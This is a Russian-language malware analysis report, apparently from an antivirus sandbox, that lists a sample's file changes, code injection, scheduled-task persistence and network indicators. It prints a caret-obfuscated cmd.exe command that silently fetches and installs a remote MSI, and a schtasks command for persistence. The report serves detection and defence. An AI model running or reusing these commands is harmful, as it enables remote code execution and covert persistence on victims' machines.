Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\updates\psjkkrwslzzuf
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C ms^iE^x^ec /i http://go###izm.com/wp-content/themes/busify/tpt/60237410.msi /qn
Внедряет код в
следующие пользовательские процессы:
- msia340.tmp
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\psjkkrwslzzuf.exe
- %TEMP%\tmpac84.tmp
- %TEMP%\270438e64c\log.txt
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\psjkkrwslzzuf.exe
Удаляет следующие файлы
- %TEMP%\tmpac84.tmp
Сетевая активность
TCP
Запросы HTTP GET
- http://go###izm.com/wp-content/themes/busify/tpt/60237410.msi
- http://ap#.#pify.org/
UDP
- DNS ASK go###izm.com
- DNS ASK ap#.#pify.org
Другое
Создает и запускает на исполнение
- '%WINDIR%\installer\msia340.tmp'
- '<SYSTEM32>\cmd.exe' /C ms^iE^x^ec /i http://go###izm.com/wp-content/themes/busify/tpt/60237410.msi /qn' (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\PSJkKRwSLzZUf" /XML "%TEMP%\tmpAC84.tmp"' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\msiexec.exe' /i http://go###izm.com/wp-content/themes/busify/tpt/60237410.msi /qn
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\PSJkKRwSLzZUf" /XML "%TEMP%\tmpAC84.tmp"
